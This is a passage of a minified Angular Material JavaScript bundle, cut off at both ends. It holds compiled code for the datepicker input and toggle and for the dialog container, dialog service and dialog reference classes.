new(h||O)(c.Y36(a.aV),c.Y36(c.R0b),c.Y36(c.s_b),c.Y36(xe),c.Y36(_._A,8),c.Y36(j.Is,8),c.Y36(Et))},O.\\u0275dir=c.lG2({type:O,inputs:{calendarHeaderComponent:"calendarHeaderComponent",startAt:"startAt",startView:"startView",color:"color",touchUi:"touchUi",disabled:"disabled",xPosition:"xPosition",yPosition:"yPosition",restoreFocus:"restoreFocus",dateClass:"dateClass",panelClass:"panelClass",opened:"opened"},outputs:{yearSelected:"yearSelected",monthSelected:"monthSelected",viewChanged:"viewChanged",openedStream:"opened",closedStream:"closed"},features:[c.TTD]}),O})(),pt=(()=>{class O extends jt{}return O.\\u0275fac=function(){let de;return function($){return(de||(de=c.n5z(O)))($||O)}}(),O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker"]],exportAs:["matDatepicker"],features:[c._Bn([te,{provide:jt,useExisting:O}]),c.qOj],decls:0,vars:0,template:function(h,$){},encapsulation:2,changeDetection:0}),O})();class nt{constructor(de,h){this.target=de,this.targetElement=h,this.value=this.target.value}}let fe=(()=>{class O{constructor(h,$,ke){this._elementRef=h,this._dateAdapter=$,this._dateFormats=ke,this.dateChange=new c.vpe,this.dateInput=new c.vpe,this.stateChanges=new S.xQ,this._onTouched=()=>{},this._validatorOnChange=()=>{},this._cvaOnChange=()=>{},this._valueChangesSubscription=g.w.EMPTY,this._localeSubscription=g.w.EMPTY,this._parseValidator=()=>this._lastValueValid?null:{matDatepickerParse:{text:this._elementRef.nativeElement.value}},this._filterValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value));return!Wt||this._matchesFilter(Wt)?null:{matDatepickerFilter:!0}},this._minValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value)),p1=this._getMinDate();return!p1||!Wt||this._dateAdapter.compareDate(p1,Wt)<=0?null:{matDatepickerMin:{min:p1,actual:Wt}}},this._maxValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value)),p1=this._getMaxDate();return!p1||!Wt||this._dateAdapter.compareDate(p1,Wt)>=0?null:{matDatepickerMax:{max:p1,actual:Wt}}},this._lastValueValid=!1,this._localeSubscription=$.localeChanges.subscribe(()=>{this._assignValueProgrammatically(this.value)})}get value(){return this._model?this._getValueFromModel(this._model.selection):this._pendingValue}set value(h){this._assignValueProgrammatically(h)}get disabled(){return!!this._disabled||this._parentDisabled()}set disabled(h){const $=(0,oe.Ig)(h),ke=this._elementRef.nativeElement;this._disabled!==$&&(this._disabled=$,this.stateChanges.next(void 0)),$&&this._isInitialized&&ke.blur&&ke.blur()}_getValidators(){return[this._parseValidator,this._minValidator,this._maxValidator,this._filterValidator]}_registerModel(h){this._model=h,this._valueChangesSubscription.unsubscribe(),this._pendingValue&&this._assignValue(this._pendingValue),this._valueChangesSubscription=this._model.selectionChanged.subscribe($=>{if(this._shouldHandleChangeEvent($)){const ke=this._getValueFromModel($.selection);this._lastValueValid=this._isValidValue(ke),this._cvaOnChange(ke),this._onTouched(),this._formatValue(ke),this.dateInput.emit(new nt(this,this._elementRef.nativeElement)),this.dateChange.emit(new nt(this,this._elementRef.nativeElement))}})}ngAfterViewInit(){this._isInitialized=!0}ngOnChanges(h){(function Ee(O,de){const h=Object.keys(O);for(let $ of h){const{previousValue:ke,currentValue:lt}=O[$];if(!de.isDateInstance(ke)||!de.isDateInstance(lt))return!0;if(!de.sameDate(ke,lt))return!0}return!1})(h,this._dateAdapter)&&this.stateChanges.next(void 0)}ngOnDestroy(){this._valueChangesSubscription.unsubscribe(),this._localeSubscription.unsubscribe(),this.stateChanges.complete()}registerOnValidatorChange(h){this._validatorOnChange=h}validate(h){return this._validator?this._validator(h):null}writeValue(h){this._assignValueProgrammatically(h)}registerOnChange(h){this._cvaOnChange=h}registerOnTouched(h){this._onTouched=h}setDisabledState(h){this.disabled=h}_onKeydown(h){h.altKey&&h.keyCode===H.JH&&!this._elementRef.nativeElement.readOnly&&(this._openPopup(),h.preventDefault())}_onInput(h){const $=this._lastValueValid;let ke=this._dateAdapter.parse(h,this._dateFormats.parse.dateInput);this._lastValueValid=this._isValidValue(ke),ke=this._dateAdapter.getValidDateOrNull(ke);const lt=!this._dateAdapter.sameDate(ke,this.value);!ke||lt?this._cvaOnChange(ke):(h&&!this.value&&this._cvaOnChange(ke),$!==this._lastValueValid&&this._validatorOnChange()),lt&&(this._assignValue(ke),this.dateInput.emit(new nt(this,this._elementRef.nativeElement)))}_onChange(){this.dateChange.emit(new nt(this,this._elementRef.nativeElement))}_onBlur(){this.value&&this._formatValue(this.value),this._onTouched()}_formatValue(h){this._elementRef.nativeElement.value=null!=h?this._dateAdapter.format(h,this._dateFormats.display.dateInput):""}_assignValue(h){this._model?(this._assignValueToModel(h),this._pendingValue=null):this._pendingValue=h}_isValidValue(h){return!h||this._dateAdapter.isValid(h)}_parentDisabled(){return!1}_assignValueProgrammatically(h){h=this._dateAdapter.deserialize(h),this._lastValueValid=this._isValidValue(h),h=this._dateAdapter.getValidDateOrNull(h),this._assignValue(h),this._formatValue(h)}_matchesFilter(h){const $=this._getDateFilter();return!$||$(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(_._A,8),c.Y36(_.sG,8))},O.\\u0275dir=c.lG2({type:O,inputs:{value:"value",disabled:"disabled"},outputs:{dateChange:"dateChange",dateInput:"dateInput"},features:[c.TTD]}),O})();const at={provide:K.JU,useExisting:(0,c.Gpc)(()=>ot),multi:!0},Se={provide:K.Cf,useExisting:(0,c.Gpc)(()=>ot),multi:!0};let ot=(()=>{class O extends fe{constructor(h,$,ke,lt){super(h,$,ke),this._formField=lt,this._closedSubscription=g.w.EMPTY,this._validator=K.kI.compose(super._getValidators())}set matDatepicker(h){h&&(this._datepicker=h,this._closedSubscription=h.closedStream.subscribe(()=>this._onTouched()),this._registerModel(h.registerInput(this)))}get min(){return this._min}set min(h){const $=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h));this._dateAdapter.sameDate($,this._min)||(this._min=$,this._validatorOnChange())}get max(){return this._max}set max(h){const $=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h));this._dateAdapter.sameDate($,this._max)||(this._max=$,this._validatorOnChange())}get dateFilter(){return this._dateFilter}set dateFilter(h){const $=this._matchesFilter(this.value);this._dateFilter=h,this._matchesFilter(this.value)!==$&&this._validatorOnChange()}getConnectedOverlayOrigin(){return this._formField?this._formField.getConnectedOverlayOrigin():this._elementRef}getOverlayLabelId(){return this._formField?this._formField.getLabelId():this._elementRef.nativeElement.getAttribute("aria-labelledby")}getThemePalette(){return this._formField?this._formField.color:void 0}getStartValue(){return this.value}ngOnDestroy(){super.ngOnDestroy(),this._closedSubscription.unsubscribe()}_openPopup(){this._datepicker&&this._datepicker.open()}_getValueFromModel(h){return h}_assignValueToModel(h){this._model&&this._model.updateSelection(h,this)}_getMinDate(){return this._min}_getMaxDate(){return this._max}_getDateFilter(){return this._dateFilter}_shouldHandleChangeEvent(h){return h.source!==this}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(se.G_,8))},O.\\u0275dir=c.lG2({type:O,selectors:[["input","matDatepicker",""]],hostAttrs:[1,"mat-datepicker-input"],hostVars:6,hostBindings:function(h,$){1&h&&c.NdJ("input",function(lt){return $._onInput(lt.target.value)})("change",function(){return $._onChange()})("blur",function(){return $._onBlur()})("keydown",function(lt){return $._onKeydown(lt)}),2&h&&(c.Ikx("disabled",$.disabled),c.uIk("aria-haspopup",$._datepicker?"dialog":null)("aria-owns",(null==$._datepicker?null:$._datepicker.opened)&&$._datepicker.id||null)("min",$.min?$._dateAdapter.toIso8601($.min):null)("max",$.max?$._dateAdapter.toIso8601($.max):null)("data-mat-calendar",$._datepicker?$._datepicker.id:null))},inputs:{matDatepicker:"matDatepicker",min:"min",max:"max",dateFilter:["matDatepickerFilter","dateFilter"]},exportAs:["matDatepickerInput"],features:[c._Bn([at,Se,{provide:ee.Jk,useExisting:O}]),c.qOj]}),O})(),Ne=(()=>{class O{}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275dir=c.lG2({type:O,selectors:[["","matDatepickerToggleIcon",""]]}),O})(),ut=(()=>{class O{constructor(h,$,ke){this._intl=h,this._changeDetectorRef=$,this._stateChanges=g.w.EMPTY;const lt=Number(ke);this.tabIndex=lt||0===lt?lt:null}get disabled(){return void 0===this._disabled&&this.datepicker?this.datepicker.disabled:!!this._disabled}set disabled(h){this._disabled=(0,oe.Ig)(h)}ngOnChanges(h){h.datepicker&&this._watchStateChanges()}ngOnDestroy(){this._stateChanges.unsubscribe()}ngAfterContentInit(){this._watchStateChanges()}_open(h){this.datepicker&&!this.disabled&&(this.datepicker.open(),h.stopPropagation())}_watchStateChanges(){const h=this.datepicker?this.datepicker.stateChanges:(0,z.of)(),$=this.datepicker&&this.datepicker.datepickerInput?this.datepicker.datepickerInput.stateChanges:(0,z.of)(),ke=this.datepicker?(0,C.T)(this.datepicker.openedStream,this.datepicker.closedStream):(0,z.of)();this._stateChanges.unsubscribe(),this._stateChanges=(0,C.T)(this._intl.changes,h,$,ke).subscribe(()=>this._changeDetectorRef.markForCheck())}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36(c.sBO),c.$8M("tabindex"))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker-toggle"]],contentQueries:function(h,$,ke){if(1&h&&c.Suo(ke,Ne,5),2&h){let lt;c.iGM(lt=c.CRH())&&($._customIcon=lt.first)}},viewQuery:function(h,$){if(1&h&&c.Gf(bt,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._button=ke.first)}},hostAttrs:[1,"mat-datepicker-toggle"],hostVars:8,hostBindings:function(h,$){1&h&&c.NdJ("click",function(lt){return $._open(lt)}),2&h&&(c.uIk("tabindex",null)("data-mat-calendar",$.datepicker?$.datepicker.id:null),c.ekj("mat-datepicker-toggle-active",$.datepicker&&$.datepicker.opened)("mat-accent",$.datepicker&&"accent"===$.datepicker.color)("mat-warn",$.datepicker&&"warn"===$.datepicker.color))},inputs:{datepicker:["for","datepicker"],tabIndex:"tabIndex",ariaLabel:["aria-label","ariaLabel"],disabled:"disabled",disableRipple:"disableRipple"},exportAs:["matDatepickerToggle"],features:[c.TTD],ngContentSelectors:re,decls:4,vars:6,consts:[["mat-icon-button","","type","button",3,"disabled","disableRipple"],["button",""],["class","mat-datepicker-toggle-default-icon","viewBox","0 0 24 24","width","24px","height","24px","fill","currentColor","focusable","false",4,"ngIf"],["viewBox","0 0 24 24","width","24px","height","24px","fill","currentColor","focusable","false",1,"mat-datepicker-toggle-default-icon"],["d","M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V8h14v11zM7 10h5v5H7z"]],template:function(h,$){1&h&&(c.F$t(De),c.TgZ(0,"button",0,1),c.YNc(2,ze,2,0,"svg",2),c.Hsn(3),c.qZA()),2&h&&(c.Q6J("disabled",$.disabled)("disableRipple",$.disableRipple),c.uIk("aria-haspopup",$.datepicker?"dialog":null)("aria-label",$.ariaLabel||$._intl.openCalendarLabel)("tabindex",$.disabled?-1:$.tabIndex),c.xp6(2),c.Q6J("ngIf",!$._customIcon))},dependencies:[u.O5,f.lW],styles:[".mat-form-field-appearance-legacy .mat-form-field-prefix .mat-datepicker-toggle-default-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-datepicker-toggle-default-icon{width:1em}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-datepicker-toggle-default-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-datepicker-toggle-default-icon{display:block;width:1.5em;height:1.5em}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button .mat-datepicker-toggle-default-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button .mat-datepicker-toggle-default-icon{margin:auto}.cdk-high-contrast-active .mat-datepicker-toggle-default-icon{color:CanvasText}"],encapsulation:2,changeDetection:0}),O})(),Me=(()=>{class O{}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275mod=c.oAB({type:O}),O.\\u0275inj=c.cJS({providers:[pe,Ae],imports:[u.ez,f.ot,a.U8,n.rt,s.eL,_.BQ,E.ZD]}),O})()},5412:(At,ae,d)=>{"use strict";d.d(ae,{WI:()=>ve,uw:()=>X,H8:()=>Dt,ZT:()=>ct,xY:()=>Et,Is:()=>Ie,so:()=>De,uh:()=>Je});var n=d(2687),a=d(8184),s=d(3353),u=d(4080),c=d(6895),f=d(4650),E=d(9521),_=d(8929),S=d(8514),g=d(1086),C=d(445),z=d(1059);function H(te,x){}class j{constructor(){this.role="dialog",this.panelClass="",this.hasBackdrop=!0,this.backdropClass="",this.disableClose=!1,this.width="",this.height="",this.data=null,this.ariaDescribedBy=null,this.ariaLabelledBy=null,this.ariaLabel=null,this.ariaModal=!0,this.autoFocus="first-tabbable",this.restoreFocus=!0,this.closeOnNavigation=!0,this.closeOnDestroy=!0}}let G=(()=>{class te extends u.en{constructor(m,b,B,ie,Xe,it,wt,Vt){super(),this._elementRef=m,this._focusTrapFactory=b,this._config=ie,this._interactivityChecker=Xe,this._ngZone=it,this._overlayRef=wt,this._focusMonitor=Vt,this._elementFocusedBeforeDialogWasOpened=null,this._closeInteractionType=null,this.attachDomPortal=Gt=>{this._portalOutlet.hasAttached();const qt=this._portalOutlet.attachDomPortal(Gt);return this._contentAttached(),qt},this._ariaLabelledBy=this._config.ariaLabelledBy||null,this._document=B}_contentAttached(){this._initializeFocusTrap(),this._handleBackdropClicks(),this._captureInitialFocus()}_captureInitialFocus(){this._trapFocus()}ngOnDestroy(){this._restoreFocus()}attachComponentPortal(m){this._portalOutlet.hasAttached();const b=this._portalOutlet.attachComponentPortal(m);return this._contentAttached(),b}attachTemplatePortal(m){this._portalOutlet.hasAttached();const b=this._portalOutlet.attachTemplatePortal(m);return this._contentAttached(),b}_recaptureFocus(){this._containsFocus()||this._trapFocus()}_forceFocus(m,b){this._interactivityChecker.isFocusable(m)||(m.tabIndex=-1,this._ngZone.runOutsideAngular(()=>{const B=()=>{m.removeEventListener("blur",B),m.removeEventListener("mousedown",B),m.removeAttribute("tabindex")};m.addEventListener("blur",B),m.addEventListener("mousedown",B)})),m.focus(b)}_focusByCssSelector(m,b){let B=this._elementRef.nativeElement.querySelector(m);B&&this._forceFocus(B,b)}_trapFocus(){const m=this._elementRef.nativeElement;switch(this._config.autoFocus){case!1:case"dialog":this._containsFocus()||m.focus();break;case!0:case"first-tabbable":this._focusTrap.focusInitialElementWhenReady().then(b=>{b||this._focusDialogContainer()});break;case"first-heading":this._focusByCssSelector(\'h1, h2, h3, h4, h5, h6, [role="heading"]\');break;default:this._focusByCssSelector(this._config.autoFocus)}}_restoreFocus(){const m=this._config.restoreFocus;let b=null;if("string"==typeof m?b=this._document.querySelector(m):"boolean"==typeof m?b=m?this._elementFocusedBeforeDialogWasOpened:null:m&&(b=m),this._config.restoreFocus&&b&&"function"==typeof b.focus){const B=(0,s.ht)(),ie=this._elementRef.nativeElement;(!B||B===this._document.body||B===ie||ie.contains(B))&&(this._focusMonitor?(this._focusMonitor.focusVia(b,this._closeInteractionType),this._closeInteractionType=null):b.focus())}this._focusTrap&&this._focusTrap.destroy()}_focusDialogContainer(){this._elementRef.nativeElement.focus&&this._elementRef.nativeElement.focus()}_containsFocus(){const m=this._elementRef.nativeElement,b=(0,s.ht)();return m===b||m.contains(b)}_initializeFocusTrap(){this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement),this._document&&(this._elementFocusedBeforeDialogWasOpened=(0,s.ht)())}_handleBackdropClicks(){this._overlayRef.backdropClick().subscribe(()=>{this._config.disableClose&&this._recaptureFocus()})}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(f.SBq),f.Y36(n.qV),f.Y36(c.K0,8),f.Y36(j),f.Y36(n.ic),f.Y36(f.R0b),f.Y36(a.Iu),f.Y36(n.tE))},te.\\u0275cmp=f.Xpm({type:te,selectors:[["cdk-dialog-container"]],viewQuery:function(m,b){if(1&m&&f.Gf(u.Pl,7),2&m){let B;f.iGM(B=f.CRH())&&(b._portalOutlet=B.first)}},hostAttrs:["tabindex","-1",1,"cdk-dialog-container"],hostVars:6,hostBindings:function(m,b){2&m&&f.uIk("id",b._config.id||null)("role",b._config.role)("aria-modal",b._config.ariaModal)("aria-labelledby",b._config.ariaLabel?null:b._ariaLabelledBy)("aria-label",b._config.ariaLabel)("aria-describedby",b._config.ariaDescribedBy||null)},features:[f.qOj],decls:1,vars:0,consts:[["cdkPortalOutlet",""]],template:function(m,b){1&m&&f.YNc(0,H,0,0,"ng-template",0)},dependencies:[u.Pl],styles:[".cdk-dialog-container{display:block;width:100%;height:100%;min-height:inherit;max-height:inherit}"],encapsulation:2}),te})();class Q{constructor(x,m){this.overlayRef=x,this.config=m,this.closed=new _.xQ,this.disableClose=m.disableClose,this.backdropClick=x.backdropClick(),this.keydownEvents=x.keydownEvents(),this.outsidePointerEvents=x.outsidePointerEvents(),this.id=m.id,this.keydownEvents.subscribe(b=>{b.keyCode===E.hY&&!this.disableClose&&!(0,E.Vb)(b)&&(b.preventDefault(),this.close(void 0,{focusOrigin:"keyboard"}))}),this.backdropClick.subscribe(()=>{this.disableClose||this.close(void 0,{focusOrigin:"mouse"})})}close(x,m){if(this.containerInstance){const b=this.closed;this.containerInstance._closeInteractionType=m?.focusOrigin||"program",this.overlayRef.dispose(),b.next(x),b.complete(),this.componentInstance=this.containerInstance=null}}updatePosition(){return this.overlayRef.updatePosition(),this}updateSize(x="",m=""){return this.overlayRef.updateSize({width:x,height:m}),this}addPanelClass(x){return this.overlayRef.addPanelClass(x),this}removePanelClass(x){return this.overlayRef.removePanelClass(x),this}}const oe=new f.OlP("DialogScrollStrategy"),Ce=new f.OlP("DialogData"),k=new f.OlP("DefaultDialogConfig"),se={provide:oe,deps:[a.aV],useFactory:function K(te){return()=>te.scrollStrategies.block()}};let ee=0,q=(()=>{class te{constructor(m,b,B,ie,Xe,it){this._overlay=m,this._injector=b,this._defaultOptions=B,this._parentDialog=ie,this._overlayContainer=Xe,this._openDialogsAtThisLevel=[],this._afterAllClosedAtThisLevel=new _.xQ,this._afterOpenedAtThisLevel=new _.xQ,this._ariaHiddenElements=new Map,this.afterAllClosed=(0,S.P)(()=>this.openDialogs.length?this._getAfterAllClosed():this._getAfterAllClosed().pipe((0,z.O)(void 0))),this._scrollStrategy=it}get openDialogs(){return this._parentDialog?this._parentDialog.openDialogs:this._openDialogsAtThisLevel}get afterOpened(){return this._parentDialog?this._parentDialog.afterOpened:this._afterOpenedAtThisLevel}open(m,b){(b={...this._defaultOptions||new j,...b}).id=b.id||"cdk-dialog-"+ee++,b.id&&this.getDialogById(b.id);const ie=this._getOverlayConfig(b),Xe=this._overlay.create(ie),it=new Q(Xe,b),wt=this._attachContainer(Xe,it,b);return it.containerInstance=wt,this._attachDialogContent(m,it,wt,b),this.openDialogs.length||this._hideNonDialogContentFromAssistiveTechnology(),this.openDialogs.push(it),it.closed.subscribe(()=>this._removeOpenDialog(it,!0)),this.afterOpened.next(it),it}closeAll(){we(this.openDialogs,m=>m.close())}getDialogById(m){return this.openDialogs.find(b=>b.id===m)}ngOnDestroy(){we(this._openDialogsAtThisLevel,m=>{!1===m.config.closeOnDestroy&&this._removeOpenDialog(m,!1)}),we(this._openDialogsAtThisLevel,m=>m.close()),this._afterAllClosedAtThisLevel.complete(),this._afterOpenedAtThisLevel.complete(),this._openDialogsAtThisLevel=[]}_getOverlayConfig(m){const b=new a.X_({positionStrategy:m.positionStrategy||this._overlay.position().global().centerHorizontally().centerVertically(),scrollStrategy:m.scrollStrategy||this._scrollStrategy(),panelClass:m.panelClass,hasBackdrop:m.hasBackdrop,direction:m.direction,minWidth:m.minWidth,minHeight:m.minHeight,maxWidth:m.maxWidth,maxHeight:m.maxHeight,width:m.width,height:m.height,disposeOnNavigation:m.closeOnNavigation});return m.backdropClass&&(b.backdropClass=m.backdropClass),b}_attachContainer(m,b,B){const ie=B.injector||B.viewContainerRef?.injector,Xe=[{provide:j,useValue:B},{provide:Q,useValue:b},{provide:a.Iu,useValue:m}];let it;B.container?"function"==typeof B.container?it=B.container:(it=B.container.type,Xe.push(...B.container.providers(B))):it=G;const wt=new u.C5(it,B.viewContainerRef,f.zs3.create({parent:ie||this._injector,providers:Xe}),B.componentFactoryResolver);return m.attach(wt).instance}_attachDialogContent(m,b,B,ie){if(m instanceof f.Rgc){const Xe=this._createInjector(ie,b,B,void 0);let it={$implicit:ie.data,dialogRef:b};ie.templateContext&&(it={...it,..."function"==typeof ie.templateContext?ie.templateContext():ie.templateContext}),B.attachTemplatePortal(new u.UE(m,null,it,Xe))}else{const Xe=this._createInjector(ie,b,B,this._injector),it=B.attachComponentPortal(new u.C5(m,ie.viewContainerRef,Xe,ie.componentFactoryResolver));b.componentInstance=it.instance}}_createInjector(m,b,B,ie){const Xe=m.injector||m.viewContainerRef?.injector,it=[{provide:Ce,useValue:m.data},{provide:Q,useValue:b}];return m.providers&&("function"==typeof m.providers?it.push(...m.providers(b,m,B)):it.push(...m.providers)),m.direction&&(!Xe||!Xe.get(C.Is,null,f.XFs.Optional))&&it.push({provide:C.Is,useValue:{value:m.direction,change:(0,g.of)()}}),f.zs3.create({parent:Xe||ie,providers:it})}_removeOpenDialog(m,b){const B=this.openDialogs.indexOf(m);B>-1&&(this.openDialogs.splice(B,1),this.openDialogs.length||(this._ariaHiddenElements.forEach((ie,Xe)=>{ie?Xe.setAttribute("aria-hidden",ie):Xe.removeAttribute("aria-hidden")}),this._ariaHiddenElements.clear(),b&&this._getAfterAllClosed().next()))}_hideNonDialogContentFromAssistiveTechnology(){const m=this._overlayContainer.getContainerElement();if(m.parentElement){const b=m.parentElement.children;for(let B=b.length-1;B>-1;B--){const ie=b[B];ie!==m&&"SCRIPT"!==ie.nodeName&&"STYLE"!==ie.nodeName&&!ie.hasAttribute("aria-live")&&(this._ariaHiddenElements.set(ie,ie.getAttribute("aria-hidden")),ie.setAttribute("aria-hidden","true"))}}}_getAfterAllClosed(){const m=this._parentDialog;return m?m._getAfterAllClosed():this._afterAllClosedAtThisLevel}}return te.\\u0275fac=function(m){return new(m||te)(f.LFG(a.aV),f.LFG(f.zs3),f.LFG(k,8),f.LFG(te,12),f.LFG(a.Xj),f.LFG(oe))},te.\\u0275prov=f.Yz7({token:te,factory:te.\\u0275fac}),te})();function we(te,x){let m=te.length;for(;m--;)x(te[m])}let ce=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=f.oAB({type:te}),te.\\u0275inj=f.cJS({providers:[q,se],imports:[a.U8,u.eL,n.rt,u.eL]}),te})();var je=d(3238),Ze=d(6787),le=d(2198),Oe=d(2986),Qe=d(7340);function Ye(te,x){}const qe={params:{enterAnimationDuration:"150ms",exitAnimationDuration:"75ms"}},Ke={dialogContainer:(0,Qe.X$)("dialogContainer",[(0,Qe.SB)("void, exit",(0,Qe.oB)({opacity:0,transform:"scale(0.7)"})),(0,Qe.SB)("enter",(0,Qe.oB)({transform:"none"})),(0,Qe.eR)("* => enter",(0,Qe.ru)([(0,Qe.jt)("{{enterAnimationDuration}} cubic-bezier(0, 0, 0.2, 1)",(0,Qe.oB)({transform:"none",opacity:1})),(0,Qe.IO)("@*",(0,Qe.pV)(),{optional:!0})]),qe),(0,Qe.eR)("* => void, * => exit",(0,Qe.ru)([(0,Qe.jt)("{{exitAnimationDuration}} cubic-bezier(0.4, 0.0, 0.2, 1)",(0,Qe.oB)({opacity:0})),(0,Qe.IO)("@*",(0,Qe.pV)(),{optional:!0})]),qe)])};class dt{constructor(){this.role="dialog",this.panelClass="",this.hasBackdrop=!0,this.backdropClass="",this.disableClose=!1,this.width="",this.height="",this.maxWidth="80vw",this.data=null,this.ariaDescribedBy=null,this.ariaLabelledBy=null,this.ariaLabel=null,this.ariaModal=!0,this.autoFocus="first-tabbable",this.restoreFocus=!0,this.delayFocusTrap=!0,this.closeOnNavigation=!0,this.enterAnimationDuration=qe.params.enterAnimationDuration,this.exitAnimationDuration=qe.params.exitAnimationDuration}}let bt=(()=>{class te extends G{constructor(m,b,B,ie,Xe,it,wt,Vt){super(m,b,B,ie,Xe,it,wt,Vt),this._animationStateChanged=new f.vpe}_captureInitialFocus(){this._config.delayFocusTrap||this._trapFocus()}_openAnimationDone(m){this._config.delayFocusTrap&&this._trapFocus(),this._animationStateChanged.next({state:"opened",totalTime:m})}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(f.SBq),f.Y36(n.qV),f.Y36(c.K0,8),f.Y36(dt),f.Y36(n.ic),f.Y36(f.R0b),f.Y36(a.Iu),f.Y36(n.tE))},te.\\u0275cmp=f.Xpm({type:te,selectors:[["ng-component"]],features:[f.qOj],decls:0,vars:0,template:function(m,b){},encapsulation:2}),te})(),ze=(()=>{class te extends bt{constructor(m,b,B,ie,Xe,it,wt,Vt,Gt){super(m,b,B,ie,Xe,it,wt,Gt),this._changeDetectorRef=Vt,this._state="enter"}_onAnimationDone({toState:m,totalTime:b}){"enter"===m?this._openAnimationDone(b):"exit"===m&&this._animationStateChanged.next({state:"closed",totalTime:b})}_onAnimationStart({toState:m,totalTime:b}){"enter"===m?this._animationStateChanged.next({state:"opening",totalTime:b}):("exit"===m||"void"===m)&&this._animationStateChanged.next({state:"closing",totalTime:b})}_startExitAnimation(){this._state="exit",this._changeDetectorRef.markForCheck()}_getAnimationState(){return{value:this._state,params:{enterAnimationDuration:this._config.enterAnimationDuration||qe.params.enterAnimationDuration,exitAnimationDuration:this._config.exitAnimationDuration||qe.params.exitAnimationDuration}}}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(f.SBq),f.Y36(n.qV),f.Y36(c.K0,8),f.Y36(dt),f.Y36(n.ic),f.Y36(f.R0b),f.Y36(a.Iu),f.Y36(f.sBO),f.Y36(n.tE))},te.\\u0275cmp=f.Xpm({type:te,selectors:[["mat-dialog-container"]],hostAttrs:["tabindex","-1",1,"mat-dialog-container"],hostVars:7,hostBindings:function(m,b){1&m&&f.WFA("@dialogContainer.start",function(ie){return b._onAnimationStart(ie)})("@dialogContainer.done",function(ie){return b._onAnimationDone(ie)}),2&m&&(f.Ikx("id",b._config.id),f.uIk("aria-modal",b._config.ariaModal)("role",b._config.role)("aria-labelledby",b._config.ariaLabel?null:b._ariaLabelledBy)("aria-label",b._config.ariaLabel)("aria-describedby",b._config.ariaDescribedBy||null),f.d8E("@dialogContainer",b._getAnimationState()))},features:[f.qOj],decls:1,vars:0,consts:[["cdkPortalOutlet",""]],template:function(m,b){1&m&&f.YNc(0,Ye,0,0,"ng-template",0)},dependencies:[u.Pl],styles:[".mat-dialog-container{display:block;padding:24px;border-radius:4px;box-sizing:border-box;overflow:auto;outline:0;width:100%;height:100%;min-height:inherit;max-height:inherit}.cdk-high-contrast-active .mat-dialog-container{outline:solid 1px}.mat-dialog-content{display:block;margin:0 -24px;padding:0 24px;max-height:65vh;overflow:auto;-webkit-overflow-scrolling:touch}.mat-dialog-title{margin:0 0 20px;display:block}.mat-dialog-actions{padding:8px 0;display:flex;flex-wrap:wrap;min-height:52px;align-items:center;box-sizing:content-box;margin-bottom:-24px}.mat-dialog-actions.mat-dialog-actions-align-center,.mat-dialog-actions[align=center]{justify-content:center}.mat-dialog-actions.mat-dialog-actions-align-end,.mat-dialog-actions[align=end]{justify-content:flex-end}.mat-dialog-actions .mat-button-base+.mat-button-base,.mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-dialog-actions .mat-button-base+.mat-button-base,[dir=rtl] .mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:0;margin-right:8px}"],encapsulation:2,data:{animation:[Ke.dialogContainer]}}),te})();class De{constructor(x,m,b){this._ref=x,this._containerInstance=b,this._afterOpened=new _.xQ,this._beforeClosed=new _.xQ,this._state=0,this.disableClose=m.disableClose,this.id=x.id,b._animationStateChanged.pipe((0,le.h)(B=>"opened"===B.state),(0,Oe.q)(1)).subscribe(()=>{this._afterOpened.next(),this._afterOpened.complete()}),b._animationStateChanged.pipe((0,le.h)(B=>"closed"===B.state),(0,Oe.q)(1)).subscribe(()=>{clearTimeout(this._closeFallbackTimeout),this._finishDialogClose()}),x.overlayRef.detachments().subscribe(()=>{this._beforeClosed.next(this._result),this._beforeClosed.complete(),this._finishDialogClose()}),(0,Ze.T)(this.backdropClick(),this.keydownEvents().pipe((0,le.h)(B=>B.keyCode===E.hY&&!this.disableClose&&!(0,E.Vb)(B)))).subscribe(B=>{this.disableClose||(B.preventDefault(),re(this,"keydown"===B.type?"keyboard":"mouse"))})}close(x){this._result=x,this._containerInstance._animationStateChanged.pipe((0,le.h)(m=>"closing"===m.state),(0,Oe.q)(1)).subscribe(m=>{this._beforeClosed.next(x),this._beforeClosed.complete(),this._ref.overlayRef.detachBackdrop(),this._closeFallbackTimeout=setTimeout(()=>this._finishDialogClose(),m.totalTime+100)}),this._state=1,this._containerInstance._startExitAnimation()}afterOpened(){return this._afterOpened}afterClosed(){return this._ref.closed}beforeClosed(){return this._beforeClosed}backdropClick(){return this._ref.backdropClick}keydownEvents(){return this._ref.keydownEvents}updatePosition(x){let m=this._ref.config.positionStrategy;return 